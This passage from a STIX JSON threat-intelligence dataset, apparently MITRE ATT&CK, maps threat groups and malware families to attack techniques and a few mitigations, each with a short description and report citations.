Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.417Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used a macOS Python implant to gather data as well as MailFetcher.py code to automatically collect email data.(Citation: CISA AA20-301A Kimsuky)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f837c70e-984e-4681-ab3a-0ad4ad1a512f","type":"relationship","created":"2021-11-29T19:16:55.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T19:16:55.963Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can create a service to establish persistence.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f83d3cd6-f54d-4016-874f-eb638c193402","created":"2022-06-09T15:02:38.980Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET DazzleSpy Jan 2022","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MacMa](https://attack.mitre.org/software/S1016) can delete itself from the compromised computer.(Citation: ESET DazzleSpy Jan 2022)","modified":"2022-06-09T15:02:38.980Z","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f83fb52a-03f5-4e70-9e08-3365c85c84ba","created":"2023-01-11T21:36:49.606Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes AvosLocker Jul 2021","description":"Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T16:37:16.986Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053) has discovered system processes by calling `RmGetList`.(Citation: Malwarebytes AvosLocker Jul 2021)","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f84b2658-a891-45a8-93ff-14dc0a86df10","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/","description":"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.","source_name":"Unit 42 C0d0so0 Jan 2016"}],"modified":"2019-04-25T11:39:52.241Z","description":"An [APT19](https://attack.mitre.org/groups/G0073) HTTP malware variant decrypts strings using single-byte XOR keys.(Citation: Unit 42 C0d0so0 Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8517b42-4d52-417a-a5dc-cbfb2a31930b","type":"relationship","created":"2019-07-19T16:49:44.670Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2020-03-18T15:52:06.898Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used a renamed cmd.exe file to evade detection.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f863b935-fd1e-4604-be94-a7ae150b8d53","type":"relationship","created":"2021-04-06T13:28:10.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dragos EKANS","url":"https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/","description":"Dragos. (2020, February 3). EKANS Ransomware and ICS Operations. Retrieved February 9, 2021."}],"modified":"2021-05-04T18:06:34.415Z","description":"[EKANS](https://attack.mitre.org/software/S0605) has been disguised as update.exe to appear as a valid executable.(Citation: Dragos EKANS)","relationship_type":"uses","source_ref":"malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f865403f-5b4a-4e5a-bb50-8d416ad36db4","type":"relationship","created":"2017-05-31T21:33:27.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"},{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T14:53:03.794Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) performs operating system information discovery using systeminfo and has used implants to identify the system language and computer name.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f86ad19e-67a2-453d-8af9-c73a130651a4","type":"relationship","created":"2021-10-01T14:17:01.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-10-01T14:17:01.494Z","description":"[ProLock](https://attack.mitre.org/software/S0654) can use vssadmin.exe to remove volume shadow copies.(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--471d0e9f-2c8a-4e4b-8f3b-f85d2407806e","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f86b3fe5-c004-4fed-aaac-cf7d68b8d315","type":"relationship","created":"2022-03-25T19:00:14.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Hermetic Wiper February 2022","url":"https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack","description":"Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."},{"source_name":"Qualys Hermetic Wiper March 2022","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware","description":"Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."}],"modified":"2022-03-25T21:34:45.585Z","description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can initiate a system shutdown.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f86c19e6-39a1-423c-8db2-a8258ac51bd6","type":"relationship","created":"2020-06-12T16:15:04.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-06-12T16:15:04.917Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can collect data from removable media and stage it for exfiltration.(Citation: Eset Ramsay May 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8705660-10d1-4eca-80c6-f2884cdecb36","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.584Z","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) enumerates registry keys with the command regkeyenum and obtains information for the Registry key HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f873875b-5be1-4a6d-81aa-d61a922df087","type":"relationship","created":"2020-11-05T15:54:26.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}],"modified":"2021-04-23T02:34:45.382Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used modified versions of open source PHP web shells to maintain access, often adding \"Dinosaur\" references within the code.(Citation: CISA AA20-301A Kimsuky)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f874b527-e973-40f2-89cb-2c7feab5b6b4","type":"relationship","created":"2020-06-10T20:19:59.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.650Z","description":"[down_new](https://attack.mitre.org/software/S0472) has the ability to AES encrypt C2 communications.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--8be7c69e-d8e3-4970-9668-61de08e508cc","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f875597f-06ce-4402-bfec-eb55e28369c2","type":"relationship","created":"2020-03-16T23:54:26.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN6 April 2016","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf"}],"modified":"2020-03-16T23:54:26.195Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) actors have compressed data from remote systems and moved it to another staging system before exfiltration.(Citation: FireEye FIN6 April 2016)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f879eea1-2a05-484d-adbb-c3504813fc5d","type":"relationship","created":"2017-05-31T21:33:27.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-11-01T21:12:14.974Z","description":"(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f8838a1f-3a62-40cc-98dd-55943091fcef","created":"2019-09-23T23:08:25.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.553Z","description":"[APT41](https://attack.mitre.org/groups/G0096) attempted to remove evidence of some of its activity by deleting Bash histories.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8878fab-91a9-49d2-b985-fefa10e22ade","type":"relationship","created":"2021-06-08T15:36:57.305Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-16T01:35:43.858Z","description":"Use multi-factor authentication for logons to code repositories.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f88fcb22-698b-4901-b894-a597192c2ba3","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."},{"source_name":"Nccgroup Emissary Panda May 2018","url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool has created new Registry keys under `HKEY_CURRENT_USER\\Software\\Classes\\` and `HKLM\\SYSTEM\\CurrentControlSet\\services`.(Citation: Nccgroup Emissary Panda May 2018)(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-11T18:07:31.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f892dddf-79a7-4d11-94b3-5df0c37d134a","type":"relationship","created":"2020-11-25T22:46:47.726Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T22:46:47.727Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has exfiltrated internal documents, files, and other data from compromised hosts.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f8999244-37ea-40f1-aa90-444a676dd592","created":"2023-10-03T19:24:29.718Z","revoked":false,"external_references":[{"source_name":"AsyncRAT GitHub","description":"Nyan-x-Cat. (n.d.). NYAN-x-CAT / AsyncRAT-C-Sharp. Retrieved October 3, 2023.","url":"https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/README.md"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T19:24:29.718Z","description":"[AsyncRAT](https://attack.mitre.org/software/S1087) can capture keystrokes on the victim’s machine.(Citation: AsyncRAT GitHub)","relationship_type":"uses","source_ref":"tool--6a5947f3-1a36-4653-8734-526df3e1d28d","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f89f5b59-9a3d-4f3a-9740-2bc1e063b752","type":"relationship","created":"2020-05-06T21:31:07.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.587Z","description":"[Okrum](https://attack.mitre.org/software/S0439) was seen using MimikatzLite to perform credential dumping.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8a21871-d67b-4e89-82db-580d117d28fb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2019-03-25T14:12:13.436Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called MailSniper to search for files on the desktop and another utility called Sobolsoft to extract attachments from EML files.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8a90328-b7ee-474a-9773-f5bf501defd3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Backdoor.Mivast","description":"Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.","url":"http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2"}],"modified":"2020-03-20T01:57:13.486Z","description":"[Mivast](https://attack.mitre.org/software/S0080) has the capability to open a remote shell and run basic commands.(Citation: Symantec Backdoor.Mivast)","relationship_type":"uses","source_ref":"malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8a9e39a-0038-437c-96ad-4408d028dd86","type":"relationship","created":"2020-11-19T17:07:09.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-12-16T16:12:01.549Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has collected system name, OS version, adapter information, memory usage, and disk information from a victim machine.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8aaf144-17a2-41b5-b723-a80cb43a8c75","type":"relationship","created":"2020-10-02T16:47:16.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:47:16.805Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c","target_ref":"attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8aff281-c6e4-47fd-8111-d1720126b49b","type":"relationship","created":"2020-10-20T17:59:21.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Secure Boot","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#35","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020."}],"modified":"2020-10-22T16:35:54.421Z","description":"Enable secure boot features to validate the digital signature of the boot environment and system image using a special purpose hardware device. If the validation check fails, the device will fail to boot preventing loading of unauthorized software. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) 